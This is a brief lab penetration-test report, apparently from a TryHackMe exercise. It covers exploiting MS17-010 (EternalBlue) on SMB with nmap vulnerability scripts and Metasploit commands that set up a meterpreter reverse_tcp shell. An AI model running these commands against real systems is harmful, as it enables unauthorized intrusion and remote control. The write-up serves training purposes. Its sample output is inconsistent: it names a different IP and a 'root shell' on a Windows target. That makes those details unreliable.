



# ***Vulnerability***

## **Introduction:**

In this report, a penetration test directed towards the 10.10.180.21 of (TryHackme) was performed during 09/11/2025. The purpose of the test is to assess the level of security of the services deployed on the network, and to detect any vulnerabilities that may affect the confidentiality, integrity and availability of data. The approach included initial exploration (recon), inspection of ports and services exploited for vulnerabilities, and post-exploitation operations within licensed test environments. This report presents key technical findings, POC and impact analysis followed by reform recommendations and gap remediation

## **Analysis and exploitation of a vulnerability :**

MS17-010: This part focused on a vulnerability known as

It is a remote command execution vulnerability in the Microsoft SMBv1 service that allows an attacker to execute code remotely on out-of-date systems. This vulnerability affects older versions of Windows including Windows 7 and Server 2008, and has historically been the cause of the spread of several malware.

### **Method of discovery:**

After doing a thorough port check using nmap, I noticed that the SMB service was open (ports 139/445). Custom Nmap scripts were used to detect vulnerability as follows:

```
nmap 10.10.180.21 -Pn -T4 -sVC -P 445,3389,139 --script=smb-vuln*
```

### **Brief outputs (example):**

PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds

| smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution  
vulnerability in Microsoft SMBv1 servers (ms17-010) | State:  
VULNERABLE | IDs: CVE-2017- 0144 | Risk factor: HIGH | Disclosure  
date: 2017-03-14

After confirming that the system is vulnerability within the licensed environment, I used the Metasploit framework to model a secure exploit in the lab and test appropriate payloads (test-only) as follows:

```
use exploit/windows/smb/ms17_010_eternalblue
```

```
set RHOSTS
```

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

```
set LHOST
```

```
exploit
```





```
root@kali:~# python3 exploit.py 10.10.10.10 4444
[*] Exploiting 10.10.10.10 on port 4444
[*] Sending payload (4096 bytes)
[*] Received response (1024 bytes)
[*] Success! Root shell obtained on 10.10.10.10
root@kali:~#
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## Result:

The exploit allowed me to get a session on the target system (meterpreter/remote shell) in the test environment, which enabled me to follow up on the post-exploitation steps with an internal survey and evidence collection room.



